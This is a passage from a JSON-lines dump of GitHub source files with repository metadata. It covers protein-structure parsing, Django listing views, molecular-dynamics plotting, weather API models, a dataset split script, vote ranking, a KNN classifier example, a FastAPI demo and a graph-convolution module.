structures.get(obj.chain)\n structures[obj] = copy\n atoms = set()\n for s in structures.values(): atoms.update(s.atoms())\n Atom.transform_atoms(t[\"matrix\"], *atoms)\n Atom.translate_atoms(t[\"vector\"], *atoms)\n all_structures += structures.values()\n return Model(*all_structures)\n\n\ndef data_dict_to_file(data_dict, filetype):\n \"\"\"Turns an atomium data dictionary into a :py:class:`.File`.\n\n :param dict data_dict: the data dictionary to parse.\n :param str filetype: the file type that is being converted.\n :rtype: ``File``\"\"\"\n\n f = File(filetype)\n for key in data_dict.keys():\n if key != \"models\":\n for subkey, value in data_dict[key].items():\n setattr(f, \"_\" + subkey, value)\n f._models = [model_dict_to_model(m) for m in data_dict[\"models\"]]\n return f\n\n\ndef model_dict_to_model(model_dict):\n \"\"\"Takes a model dictionary and turns it into a fully processed\n :py:class:`.Model` object.\n\n :param dict model_dict: the model dictionary.\n :rtype: ``Model``\"\"\"\n\n\n chains = create_chains(model_dict)\n ligands = create_ligands(model_dict, chains)\n waters = create_ligands(model_dict, chains, water=True)\n model = Model(*(chains + ligands + waters))\n return model\n\n\ndef create_chains(model_dict):\n \"\"\"Creates a list of :py:class:`.Chain` objects from a model dictionary.\n\n :param dict model_dict: the model dictionary.\n :rtype: ``list``\"\"\"\n\n chains = []\n for chain_id, chain in model_dict[\"polymer\"].items():\n res = [create_het(r, i) for i, r in sorted(\n chain[\"residues\"].items(), key=lambda x: x[1][\"number\"]\n )]\n res_by_id = {r.id: r for r in res}\n for res1, res2 in zip(res[:-1], res[1:]):\n res1._next, res2._previous = res2, res1\n chains.append(\n Chain(\n *res,\n id=chain_id,\n helices=[[res_by_id[r] for r in h] for h in chain[\"helices\"]],\n strands=[[res_by_id[r] for r in s] for s in chain[\"strands\"]],\n information=chain[\"information\"] if \"information\" in chain else [],\n internal_id=chain[\"internal_id\"],\n sequence=chain[\"sequence\"],\n )\n )\n return chains\n\n\ndef create_ligands(model_dict, chains, water=False):\n \"\"\"Creates a list of :py:class:`.Ligand` objects from a model dictionary.\n\n :param dict model_dict: the model dictionary.\n :param list chains: a list of :py:class:`.Chain` objects to assign by ID.\n :param bool water: if `True``, water ligands will be made.\n :rtype: ``list``\"\"\"\n\n ligands = []\n for lig_id, lig in model_dict[\"water\" if water else \"non-polymer\"].items():\n chain = None\n for c in chains:\n if c._id == lig[\"polymer\"]:\n chain = c\n break\n ligands.append(\n create_het(lig, lig_id, ligand=True, chain=chain, water=water)\n )\n return ligands\n\n\ndef create_het(d, id, ligand=False, chain=None, water=False):\n \"\"\"Creates a :py:class:`.Residue` or :py:class:`.Ligand` from some\n atom-containing dictionary.\n\n If there is multiple occupancy, only one position will be used.\n\n :param dict d: the dictionary to parse.\n :param str id: the ID of the structure to make.\n :param bool ligand: if ``True`` a ligand will be made, not a residue.\n :param Chain chain: the :py:class:`.Chain` to assign if a ligand.\n :param bool water: if ``True``, the ligand will be a water ligand.\n :rtype: ``Residue`` or ``Ligand``\"\"\"\n\n alt_loc = None\n if any([atom[\"occupancy\"] < 1 for atom in d[\"atoms\"].values()]):\n if any([atom[\"alt_loc\"] for atom in d[\"atoms\"].values()]):\n alt_loc = sorted([atom[\"alt_loc\"] for atom in d[\"atoms\"].values()\n if atom[\"alt_loc\"]])[0]\n atoms = [atom_dict_to_atom(a, i) for i, a in d[\"atoms\"].items()\n if a[\"occupancy\"] == 1 or a[\"alt_loc\"] is None or a[\"alt_loc\"] == alt_loc]\n if ligand:\n return Ligand(*atoms, id=id, name=d[\"name\"], chain=chain,\n internal_id=d[\"internal_id\"], water=water, full_name=d[\"full_name\"])\n else:\n return Residue(*atoms, id=id, name=d[\"name\"], full_name=d[\"full_name\"])\n\n\ndef atom_dict_to_atom(d, atom_id):\n \"\"\"Creates an :py:class:`.Atom` from an atom dictionary.\n\n :param dict d: the atom dictionary.\n :param int id: the atom's ID.\n :rtype: ``Atom``\"\"\"\n\n return Atom(\n d[\"element\"], d[\"x\"], d[\"y\"], d[\"z\"], atom_id,\n d[\"name\"], d[\"charge\"], d[\"bvalue\"], d[\"anisotropy\"], d[\"is_hetatm\"]\n )\n\n\n\nPERIODIC_TABLE = {\n \"H\": 1.0079, \"HE\": 4.0026, \"LI\": 6.941, \"BE\": 9.0122, \"B\": 10.811,\n \"C\": 12.0107, \"N\": 14.0067, \"O\": 15.9994, \"F\": 18.9984, \"NE\": 20.1797,\n \"NA\": 22.9897, \"MG\": 24.305, \"AL\": 26.9815, \"SI\": 28.0855, \"P\": 30.9738,\n \"S\": 32.065, \"CL\": 35.453, \"K\": 39.0983, \"AR\": 39.948, \"CA\": 40.078,\n \"SC\": 44.9559, \"TI\": 47.867, \"V\": 50.9415, \"CR\": 51.9961, \"MN\": 54.938,\n \"FE\": 55.845, \"NI\": 58.6934, \"CO\": 58.9332, \"CU\": 63.546, \"ZN\": 65.39,\n \"GA\": 69.723, \"GE\": 72.64, \"AS\": 74.9216, \"SE\": 78.96, \"BR\": 79.904,\n \"KR\": 83.8, \"RB\": 85.4678, \"SR\": 87.62, \"Y\": 88.9059, \"ZR\": 91.224,\n \"NB\": 92.9064, \"MO\": 95.94, \"TC\": 98, \"RU\": 101.07, \"RH\": 102.9055,\n \"PD\": 106.42, \"AG\": 107.8682, \"CD\": 112.411, \"IN\": 114.818, \"SN\": 118.71,\n \"SB\": 121.76, \"I\": 126.9045, \"TE\": 127.6, \"XE\": 131.293, \"CS\": 132.9055,\n \"BA\": 137.327, \"LA\": 138.9055, \"CE\": 140.116, \"PR\": 140.9077, \"ND\": 144.24,\n \"PM\": 145, \"SM\": 150.36, \"EU\": 151.964, \"GD\": 157.25, \"TB\": 158.9253,\n \"DY\": 162.5, \"HO\": 164.9303, \"ER\": 167.259, \"TM\": 168.9342, \"YB\": 173.04,\n \"LU\": 174.967, \"HF\": 178.49, \"TA\": 180.9479, \"W\": 183.84, \"RE\": 186.207,\n \"OS\": 190.23, \"IR\": 192.217, \"PT\": 195.078, \"AU\": 196.9665, \"HG\": 200.59,\n \"TL\": 204.3833, \"PB\": 207.2, \"BI\": 208.9804, \"PO\": 209, \"AT\": 210, \"RN\": 222,\n \"FR\": 223, \"RA\": 226, \"AC\": 227, \"PA\": 231.0359, \"TH\": 232.0381, \"NP\": 237,\n \"U\": 238.0289, \"AM\": 243, \"PU\": 244, \"CM\": 247, \"BK\": 247, \"CF\": 251,\n \"ES\": 252, \"FM\": 257, \"MD\": 258, \"NO\": 259, \"RF\": 267, \"LR\": 266, \"DB\": 268,\n \"BH\": 270, \"SG\": 269, \"MT\": 278, \"RG\": 282, \"HS\": 277\n}\n\nATOMIC_NUMBER = {\n \"H\": 1, \"HE\": 2,\n \"LI\": 3, \"BE\": 4, \"B\": 5, \"C\": 6, \"N\": 7, \"O\": 8, \"F\": 9, \"NE\": 10,\n \"NA\": 11, \"MG\": 12, \"AL\": 13, \"SI\": 14, \"P\": 15, \"S\": 16, \"CL\": 17, \"AR\": 18,\n \"K\": 19, \"CA\": 20, \"SC\": 21, \"TI\": 22, \"V\": 23, \"CR\": 24, \"MN\": 25, \"FE\": 26,\n \"CO\": 27, \"NI\": 28, \"CU\": 29, \"ZN\": 30, \"GA\": 31, \"GE\": 32, \"AS\": 33,\n \"SE\": 34, \"BR\": 35, \"KR\": 36, \"RB\": 37, \"SR\": 38, \"Y\": 39, \"ZR\": 40, \"NB\": 41,\n \"MO\": 42, \"TC\": 43, \"RU\": 44, \"RH\": 45, \"PD\": 46, \"AG\": 47, \"CD\": 48,\n \"IN\": 49, \"SN\": 50, \"SB\": 51, \"TE\": 52, \"I\": 53, \"XE\": 54, \"CS\": 55, \"BA\": 56,\n \"LA\": 57, \"CE\": 58, \"PR\": 59, \"ND\": 60, \"PM\": 61, \"SM\": 62, \"EU\": 63, \n \"GD\": 64, \"TB\": 65, \"DY\": 66, \"HO\": 67, \"ER\": 68, \"TM\": 69, \"YB\": 70, \n \"LU\": 71, \"HF\": 72, \"TA\": 73, \"W\": 74, \"RE\": 75, \"OS\": 76, \"IR\": 77, \"PT\": 78,\n \"AU\": 79, \"HG\": 80, \"TL\": 81, \"PB\": 82, \"BI\": 83, \"PO\": 84, \"AT\": 85, \n \"RN\": 86, \"FR\": 87, \"RA\": 88, \"AC\": 89, \"TH\": 90, \"PA\": 91, \"U\": 92, \"NP\": 93,\n \"PU\": 94, \"AM\": 95, \"CM\": 96, \"BK\": 97, \"CF\": 98, \"ES\": 99, \"FM\": 100,\n \"MD\": 101, \"NO\": 102, \"LR\": 103, \"RF\": 104, \"DB\": 105, \"SG\": 106, \"BH\": 107,\n \"HS\": 108, \"MT\": 109, \"RG\": 111 \n}\n\nCOVALENT_RADII = {\n \"H\": 0.31, \"HE\": 0.28, \"LI\": 1.28, \"BE\": 0.96, \"B\": 0.85, \"C\": 0.76,\n \"N\": 0.71, \"O\": 0.66, \"F\": 0.57, \"NE\": 0.58, \"NA\": 1.66, \"MG\": 1.41,\n \"AL\": 1.21, \"SI\": 1.11, \"P\": 1.07, \"S\": 1.05, \"CL\": 1.02, \"AR\": 1.06,\n \"K\": 2.03, \"CA\": 1.76, \"SC\": 1.7, \"TI\": 1.6, \"V\": 1.53, \"CR\": 1.39, \"MN\": 1.39,\n \"FE\": 1.32, \"CO\": 1.26, \"NI\": 1.24, \"CU\": 1.32, \"ZN\": 1.22, \"GA\": 1.22,\n \"GE\": 1.2, \"AS\": 1.19, \"SE\": 1.2, \"BR\": 1.2, \"KR\": 1.16, \"RB\": 2.2, \"SR\": 1.95,\n \"Y\": 1.9, \"ZR\": 1.75, \"NB\": 1.64, \"MO\": 1.54, \"TC\": 1.47, \"RU\": 1.46,\n \"RH\": 1.42, \"PD\": 1.39, \"AG\": 1.45, \"CD\": 1.44, \"IN\": 1.42, \"SN\": 1.39,\n \"SB\": 1.39, \"TE\": 1.38, \"I\": 1.39, \"XE\": 1.4, \"CS\": 2.44, \"BA\": 2.15,\n \"LA\": 2.07, \"CE\": 2.04, \"PR\": 2.03, \"ND\": 2.01, \"PM\": 1.99, \"SM\": 1.98,\n \"EU\": 1.98, \"GD\": 1.96, \"TB\": 1.94, \"DY\": 1.92, \"HO\": 1.92, \"ER\": 1.89,\n \"TM\": 1.9, \"YB\": 1.87, \"LU\": 1.87, \"HF\": 1.75, \"TA\": 1.7, \"W\": 1.62,\n \"RE\": 1.51, \"OS\": 1.44, \"IR\": 1.41, \"PT\": 1.36, \"AU\": 1.36, \"HG\": 1.32,\n \"TL\": 1.45, \"PB\": 1.46, \"BI\": 1.48, \"PO\": 1.4, \"AT\": 1.5, \"RN\": 1.5, \"FR\": 2.6,\n \"RA\": 2.21, \"AC\": 2.15, \"TH\": 2.06, \"PA\": 2.0, \"U\": 1.96, \"NP\": 1.9,\n \"PU\": 1.87, \"AM\": 1.8, \"CM\": 1.69\n}\n\nMETALS = [\n \"LI\", \"BE\", \"NA\", \"MG\", \"AL\", \"K\", \"CA\", \"SC\", \"TI\", \"V\", \"CR\", \"MN\", \"FE\",\n \"CO\", \"NI\", \"CU\", \"ZN\", \"HA\", \"RB\", \"SR\", \"Y\", \"ZR\", \"NB\", \"MO\", \"TC\", \"RU\",\n \"RH\", \"PD\", \"AG\", \"CD\", \"IN\", \"SN\", \"CS\", \"BA\", \"LA\", \"CE\", \"PR\", \"ND\", \"PM\",\n \"SM\", \"EU\", \"GD\", \"TB\", \"DY\", \"HO\", \"ER\", \"TM\", \"YB\", \"LU\", \"HF\", \"TA\", \"W\",\n \"RE\", \"OS\", \"IR\", \"PT\", \"AU\", \"HG\", \"TL\", \"PB\", \"BI\", \"PO\", \"FR\", \"RA\", \"AC\",\n \"TH\", \"PA\", \"U\", \"NP\", \"PU\", \"AM\", \"CM\", \"BK\", \"CF\", \"ES\", \"FM\", \"MD\", \"NO\",\n \"LR\", \"RF\", \"DB\", \"SG\", \"BH\", \"HS\", \"MT\", \"DS\", \"RG\", \"CN\", \"UUT\", \"FL\", \"LV\"\n]\n\nFULL_NAMES = {\n \"GLY\": \"glycine\", \"ALA\": \"alanine\", \"VAL\": \"valine\", \"LEU\": \"leucine\",\n \"ILE\": \"isoleucine\", \"MET\": \"methionine\", \"PHE\": \"phenylalanine\",\n \"TRP\": \"tryptophan\", \"PRO\": \"proline\", \"SER\": \"serine\", \"THR\": \"threonine\",\n \"CYS\": \"cysteine\", \"TYR\": \"tyrosine\", \"ASN\": \"asparagine\", \"GLN\": \"glutamine\",\n \"ASP\": \"aspartic acid\", \"GLU\": \"glutamic acid\", \"LYS\": \"lysine\",\n \"ARG\": \"arginine\", \"HIS\": \"histidine\", \"HOH\": \"water\"\n}\n\nCODES = {\n \"VAL\": \"V\", \"ILE\": \"I\", \"LEU\": \"L\", \"GLU\": \"E\", \"GLN\": \"Q\", \"ASP\": \"D\",\n \"ASN\": \"N\", \"HIS\": \"H\", \"TRP\": \"W\", \"PHE\": \"F\", \"TYR\": \"Y\", \"ARG\": \"R\",\n \"LYS\": \"K\", \"SER\": \"S\", \"THR\": \"T\", \"MET\": \"M\", \"ALA\": \"A\", \"GLY\": \"G\",\n \"PRO\": \"P\", \"CYS\": \"C\", \"HIP\": \"H\", \"HIE\": \"H\",\n \"DA\": \"A\", \"DG\": \"G\", \"DC\": \"C\", \"DT\": \"T\", \"A\": \"A\", \"G\": \"G\", \"C\": \"C\",\n \"U\": \"U\"\n}\n","repo_name":"samirelanduk/atomium","sub_path":"atomium/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":14219,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"7"} +{"seq_id":"37025788599","text":"from django.core.urlresolvers import reverse\nfrom django.db import IntegrityError, transaction\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\n\nfrom django_user_agents.utils import get_user_agent\n\nfrom listings.models import Listings\nfrom listings.forms import ListingsForms\nfrom tags.models import Tag\n\n\ndef view_listings(request):\n listing_form = ListingsForms()\n listings = Listings.objects.filter(user_id=request.user.id).all()\n return render(request, 'listing_management/manage_listings.html',\n {'listings': listings, 'listing_form': listing_form})\n\n\n@login_required\ndef edit_listing(request, listing_id):\n listing = get_object_or_404(Listings, id=listing_id, user_id=request.user.id)\n if request.method == 'POST':\n user_agent = get_user_agent(request)\n form = ListingsForms(request.POST, request.FILES, user_agent=user_agent, instance=listing)\n if form.is_valid():\n tags_list = form.cleaned_data.pop('tag').split(',')\n form.save()\n\n listing.tag.all().delete()\n if tags_list and tags_list[0] != u'':\n for tag in tags_list:\n new_tag = Tag(name=tag)\n try:\n new_tag.save()\n new_tag.listings_set.add(listing)\n except IntegrityError as e:\n existing_tag = Tag.objects.get(name=tag)\n existing_tag.listings_set.add(listing)\n messages.success(request, 'Listing successfully edited.')\n return HttpResponseRedirect(reverse('my_profile'))\n else:\n tags_to_template = ''\n tags = listing.tag.all().values('name')\n if tags:\n for each_tag in tags:\n tags_to_template = tags_to_template + each_tag['name'].encode() + ','\n form = ListingsForms(instance=listing,\n initial={'categories': listing.subcategories.categories if listing.subcategories else None,\n 'tag': tags_to_template})\n return render(request, 'new_templates/post_edit.html', {'form': form, 'listing_id': listing_id})\n\n\n@transaction.atomic\n@login_required\ndef delete_listing(request, listing_id):\n listing = get_object_or_404(Listings, id=listing_id, user_id=request.user.id)\n if request.method == 'POST':\n if \"cancel\" in request.POST:\n messages.info(request, 'Deletion canceled.')\n else:\n try:\n listing.delete()\n except Exception as e:\n messages.error(request, 'A server error occurred, please try again later.')\n else:\n messages.success(request, 'Successfully deleted post.')\n return HttpResponseRedirect(reverse('my_profile'))\n\n else:\n return render(request, 'new_templates/delete_form.html', {'listing': listing, 'profile': request.user.profile})\n","repo_name":"DevFamily99/villages-django","sub_path":"listings/listing_management/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70336523424","text":"# import libraries\n\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport mdtraj as md\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport glob\n\nfrom msmbuilder import dataset\n\nimport seaborn as sns\nsns.set_style(\"whitegrid\")\nsns.set_context(\"poster\")\n\n# load trajectories\n\n#trajectories = dataset.MDTrajDataset(\"trajectories/*.h5\")\n\n# Load trajectory with ensembler models\n\nt_models = md.load(\"models/full_ensembler/modelstraj.xtc\", top = \"models/full_ensembler/modelstraj-topol.pdb\")\n\n# Load new starting models\n\n#start = md.load(glob.glob(\"models/*.pdb\"))\n\nactive_files = [\"models/1IR3.pdb\",\"models/1K3A.pdb\",\"models/1Y57.pdb\",\"models/2F4J.pdb\",\"models/3DQW.pdb\"]\nabllike_files = [\"models/4BKJ.pdb\",\"models/3ZOS.pdb\",\"models/2OIQ.pdb\",\"models/1OPJ.pdb\"]\nsrclike_files = [\"models/2SRC.pdb\",\"models/2G2I.pdb\",\"models/2H8H.pdb\",\"models/3U4W.pdb\"]\nother_files = [\"models/DDR1_Dasatinib.pdb\",\"models/DDR1_VX680.pdb\",\"models/4GT5.pdb\",\"models/1IRK.pdb\"]\n\nactive = md.load(active_files)\nabllike = md.load(abllike_files)\nsrclike = md.load(srclike_files)\nother = md.load(other_files)\n\n# the coordinates for the 'full ensembler' models and the old trajectories\n# are shorter so there are two versions of the numbering.\n\n# Load 2SRC reference structures\n\nSRC2 = md.load(\"models/2SRC.pdb\")\nSRC2_short = md.load(\"/home/hansons/sims/ddr1/10484/reference-structures/DDR1_2SRC_A.pdb\")\n\n# Define hydrogen bond coordinates (0-indexed)\n\nKER = [[51,68],[68,185]]\nKER_short = [[45,62],[62,179]]\n\n# Define Activation loop (resid)\n\nAloop = [181,201]\nAloop_short = [175,195]\n\ndef shukla_coords(trajectories,KER,Aloop,SRC2):\n\n difference = []\n rmsd = []\n\n for traj in trajectories:\n\n # append difference\n\n k295e310 = md.compute_contacts(traj, [KER[0]])\n e310r409 = md.compute_contacts(traj, [KER[1]])\n difference.append(10*(e310r409[0] - k295e310[0])) # 10x because mdtraj is naturally in nm\n\n # append rmsd\n\n Activation_Loop_SRC2 = SRC2.top.select(\"backbone and (resid %s to %s)\" %(Aloop[0],Aloop[1]))\n Activation_Loop_Src = traj.top.select(\"backbone and (resid %s to %s)\" %(Aloop[0],Aloop[1]))\n\n SRC2_cut = SRC2.atom_slice(Activation_Loop_SRC2)\n traj_cut = traj.atom_slice(Activation_Loop_Src)\n\n rmsd.append(10*(md.rmsd(traj_cut,SRC2_cut,frame=0))) # 10x because mdtraj is naturaly in nm\n\n # flatten list of arrays\n\n flattened_difference = np.asarray([val for sublist in difference for val in sublist])\n flattened_rmsd = np.asarray([val for sublist in rmsd for val in sublist])\n\n return [flattened_rmsd, flattened_difference]\n\n# generate data\n\n[rmsd_act,difference_act] = shukla_coords(active,KER,Aloop,SRC2)\n[rmsd_abl,difference_abl] = shukla_coords(abllike,KER,Aloop,SRC2)\n[rmsd_src,difference_src] = shukla_coords(srclike,KER,Aloop,SRC2)\n[rmsd_oth,difference_oth] = shukla_coords(other,KER,Aloop,SRC2)\n\n[rmsd,difference] = shukla_coords(t_models,KER_short,Aloop_short,SRC2_short)\n\n#plot\nplt.plot(rmsd, difference[:,0], 'o', markersize=2, label=\"ensembler models\", color='grey')\nsns.kdeplot(rmsd,difference[:,0],shade=True,log=True, cut=10)\nplt.plot(rmsd_act, difference_act[:,0], '*',markersize=20, label=\"active\",color='yellow')\nplt.plot(rmsd_abl, difference_abl[:,0], '*',markersize=20, label=\"abl-like inactive\",color='green')\nplt.plot(rmsd_src, difference_src[:,0], '*',markersize=20, label=\"src-like inactive\",color='blue')\nplt.plot(rmsd_oth, difference_oth[:,0], '*',markersize=20, label=\"other inactive\",color='red')\n\n\nplt.xlabel('RMSD Activation Loop ($\\AA$)')\n#Equivalent to E310-R409 and K295-E310 in SRC\n#Numbering according to DDR1b\nplt.ylabel('d(E672-R789) - d(K655-E672) ($\\AA$)')\nplt.ylim(-20,20)\nplt.xlim(0,10)\nplt.title('DDR1 new starting structures')\nplt.legend()\n\nplt.savefig('plotting_Shukla_fig2_DDR1-colors.png')\n","repo_name":"choderalab/kinalysis","sub_path":"initial rough scripts/plotting_Shukla_fig2_DDR1.py","file_name":"plotting_Shukla_fig2_DDR1.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"12583431866","text":"from schematics.models import Model\nfrom schematics.types import StringType, IntType, FloatType, DateTimeType\nfrom schematics.types.compound import ListType, ModelType\n\nfrom iso3166 import countries\n\n\nclass Coord(Model):\n lon = FloatType()\n lat = FloatType()\n\n\nclass WeatherItem(Model):\n id = IntType()\n main = StringType()\n description = StringType()\n icon = StringType()\n\n\nclass Main(Model):\n temp = FloatType()\n feels_like = FloatType()\n temp_min = FloatType()\n temp_max = FloatType()\n pressure = IntType()\n humidity = IntType()\n sea_level = IntType()\n grnd_level = IntType()\n\n\nclass Wind(Model):\n speed = FloatType()\n deg = IntType()\n gust = FloatType()\n\n\nclass Clouds(Model):\n all = IntType()\n\n\nclass Rain(Model):\n h1 = IntType()\n h3 = IntType()\n\n def __init__(self, d, context):\n h1 = d.get('1h')\n h3 = d.get('3h')\n super().__init__()\n\n\nclass Snow(Model):\n h1 = IntType()\n h3 = IntType()\n\n def __init__(self, d, context):\n h1 = d.get('1h')\n h3 = d.get('3h')\n super().__init__()\n\n\nclass Sys(Model):\n type = IntType()\n id = IntType()\n message = FloatType()\n country = StringType()\n sunrise = IntType()\n sunset = IntType()\n \n\nclass Weather(Model):\n coord = ModelType(Coord)\n weather = ListType(ModelType(WeatherItem))\n base = StringType()\n main = ModelType(Main)\n visibility = IntType()\n wind = ModelType(Wind)\n clouds = ModelType(Clouds)\n rain = ModelType(Rain)\n snow = ModelType(Snow)\n dt = IntType()\n sys = ModelType(Sys)\n timezone = IntType()\n id = IntType()\n name = StringType()\n cod = IntType()\n\n def get_formatted(self):\n return {\n 'min': self.main.temp_min - 273.15,\n 'max': self.main.temp_max - 273.15,\n 'avg': self.main.temp - 273.15,\n 'feels_like': self.main.feels_like - 273.15,\n 'city': {\n 'name': self.name,\n 'country': self.iso3166_alpha2_to_alpha3(self.sys.country)\n }\n }\n\n def iso3166_alpha2_to_alpha3(self, alpha2):\n return countries.get(alpha2).alpha3\n\n","repo_name":"mathiasscroccaro/open-weather-map-integration","sub_path":"weather_api/weather_api/models/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8299905459","text":"#!/usr/bin/env python\r\n# -*- encoding: utf-8 -*-\r\n'''\r\n@File : split_dataset.py\r\n@Time : 2023/03/17 14:27:31\r\n@Author : Jianwen Chen\r\n@Version : 1.0\r\n@Contact : chenjw48@mail3.sysu.edu.cn\r\n@License : (C)Copyright 2023, 厚朴【HOPE】工作室, SAIL-LAB\r\n@Desc : None\r\n'''\r\n\r\n######################################## import area ########################################\r\n\r\nimport sys\r\nimport subprocess\r\nimport random\r\nfrom tqdm import tqdm\r\n\r\n######################################## parser area ########################################\r\n\r\n\r\n######################################## function area ########################################\r\n\r\n\r\n######################################## main area ########################################\r\n\r\nif __name__ == '__main__':\r\n \r\n path = './data/source'\r\n test_size = 0.1\r\n \r\n print('split dataset begin!')\r\n total_cnt = int(subprocess.getoutput(f'wc -l {path}/{sys.argv[1]}/{sys.argv[1]}.txt').split()[0])\r\n with open(f\"{path}/{sys.argv[1]}/{sys.argv[1]}.txt\", 'r') as f, \\\r\n open(f\"{path}/{sys.argv[1]}/{sys.argv[1]}_train.txt\", 'w') as train_fw, \\\r\n open(f\"{path}/{sys.argv[1]}/{sys.argv[1]}_test.txt\", 'w') as test_fw:\r\n \r\n for idx, line in tqdm(enumerate(f.readlines()), total=total_cnt):\r\n r = random.random()\r\n if r <= test_size:\r\n test_fw.write(line)\r\n else:\r\n train_fw.write(line)\r\n if idx > 0 and idx % 1e+7 == 0:\r\n print(f'split dataset {idx} rows!')\r\n \r\n print('split dataset finish!')\r\n","repo_name":"jcchan23/DeepFM-re","sub_path":"split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"31737875456","text":"\nimport logging\nimport math as m\nimport random\nfrom time import time\n\nfrom src.util.position_vote import PositionVote\n\nlog = logging.getLogger(__name__)\n\n\nclass PointVote(PositionVote):\n\n @staticmethod\n def generate_random_point_votes(n_votes, n_cand, min_points=0, max_points=10):\n \"\"\"random votes by generating random points of each candidate between min_points and max_points\n || default min_points: 0|| default max_points: 10\"\"\"\n start_time = time()\n votes = [PointVote([random.randint(min_points, max_points) for j in range(n_cand)]) for i in range(n_votes)]\n log.info(\"Computation time to generate random votes: {}\".format(time() - start_time))\n if n_votes <= 10:\n log.info(\"Generated votes: \" + str(votes))\n return votes\n\n def __init__(self, point_list):\n \"\"\"candidates with negative points will not get a position\"\"\"\n \n self.point_list = point_list\n\n # generate ranking list of candidates without equality, lower candidate\n # index is prefered\n sorted_points = point_list.copy()\n sorted_points.sort()\n sorted_points.reverse()\n\n position_list = []\n self.number_of_ignored = 0\n\n for cand in range(len(point_list)):\n points = point_list[cand]\n position = 0\n if points >= 0:\n position = sorted_points.index(points) + 1\n\n else:\n position = -1\n self.number_of_ignored += 1\n \n position_list.append(position)\n\n super().__init__(position_list)\n\n def get_points(self):\n \"\"\"vote as list of points\"\"\"\n return self.point_list\n\n def __repr__(self):\n return \"\\026\\n\" + str(self.get_points())\n\n\n\nclass IllegalVoteException(Exception):\n pass\n","repo_name":"JulianLiedtke/ordinos","sub_path":"src/util/point_vote.py","file_name":"point_vote.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"27916547534","text":"import numpy as np\nfrom sklearn import preprocessing, cross_validation, neighbors\nimport pandas as pd\n\ndf=pd.read_csv('breast-cancer-wisconsin.data')\ndf.replace('?', -99999, inplace=True)\ndf.drop(['id'],1,inplace=True)\n\n#guardo en x el dataframe sin la columna class\nX=np.array(df.drop(['class'],1))\n#guardo en y la columna class\ny=np.array(df['class'])\n\n\n#creo la relacion entra el vector resultados y los vectores de datos y creo las variables de prueba y testeo\nX_train,X_test,y_train,y_test=cross_validation.train_test_split(X,y,test_size=0.2)\n\n#creo el objeto con el algoritmo KNN\nclf=neighbors.KNeighborsClassifier()\n#entrno el algoritmo\nclf.fit(X_train, y_train)\n#exactitud de clf (entrenamiento)\nexactitud=clf.score(X_test,y_test)\nprint(exactitud)\n\n#probando el algoritmo\n#creo un arreglo numpy para predecir (cada elemento de la lista es una columna)\n\"\"\" \n Parametro valor posible\n \n Clump Thickness 1 - 10\n Uniformity of Cell Size 1 - 10\n Uniformity of Cell Shape 1 - 10\n Marginal Adhesion 1 - 10\n Single Epithelial Cell Size 1 - 10\n Bare Nuclei 1 - 10\n Bland Chromatin 1 - 10\n Normal Nucleoli 1 - 10\n Mitoses 1 - 10\n \n lista de 9 elementos\n\"\"\" \n\nmedidas_ejemplo=np.array([8,10,10,8,7,10,9,7,1])\n# reshape cambia la forma de la matriz a 1 fila -1 desconocidas columnas\nmedidas_ejemplo=medidas_ejemplo.reshape(1,-1)\n#calculo el \nprediccion=clf.predict(medidas_ejemplo)\n#print(\"Prediccion es : \",type(prediccion))\nif prediccion[0]==2:\n print(\"Cancer beningno\")\nelse:\n print(\"Cancer maligno\")","repo_name":"josheramirez/Machine_Learning_K_N_N","sub_path":"K_Nearest_Neighbors#Usando_sklearn.py","file_name":"K_Nearest_Neighbors#Usando_sklearn.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27268959626","text":"from fastapi import FastAPI, Response, responses\nimport uvicorn\nfrom typing import Optional\n\napi = FastAPI()\n\n@api.get('/api/calculate/')\ndef calculate(x: int, y: int, z: Optional[int] = None):\n # arguments in the function are query strings in the case of get\n if z == 0:\n return Response(\n content=\"{'error': 0 not allowed for z}\",\n media_type=\"application/json\",\n status_code=400\n )\n # alternative: JSONResponse(status_code=, content=)\n value = x + y\n if z: value += z\n result = {\n 'value': value\n }\n return result\n\nhtml_response = (\n \"\"\n \"

    Hello Fast API!

    \"\n \"

    Example: here

    \"\n \"\"\n)\n\n@api.get('/')\ndef hello_world():\n return responses.HTMLResponse(content=html_response)\n\nuvicorn.run(api, port=8000, host=\"127.0.0.1\", debug=True)\n\n","repo_name":"iamlucasmateo/modern-fast-api","sub_path":"simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40411072893","text":"# stdlib\nfrom typing import Any, Optional, Tuple, Union\n\n# third party\nimport torch\nfrom torch import Tensor\nfrom torch.nn import Parameter\nfrom torch.nn import Parameter as Param\nfrom torch_geometric.nn.conv import MessagePassing\nfrom torch_geometric.nn.inits import glorot, zeros\nfrom torch_geometric.typing import Adj, OptTensor\nfrom torch_sparse import SparseTensor, masked_select_nnz, matmul\n\ntry:\n # third party\n from pyg_lib.ops import segment_matmul # C implemented method\n\n _WITH_PYG_LIB = True\nexcept ImportError:\n _WITH_PYG_LIB = False\n\n def segment_matmul(inputs: Tensor, ptr: Tensor, other: Tensor) -> Tensor:\n raise NotImplementedError\n\n\n# synthcity absolute\nfrom synthcity import logger as log\n\n\ndef masked_edge_index(\n edge_index: Tensor, edge_mask: 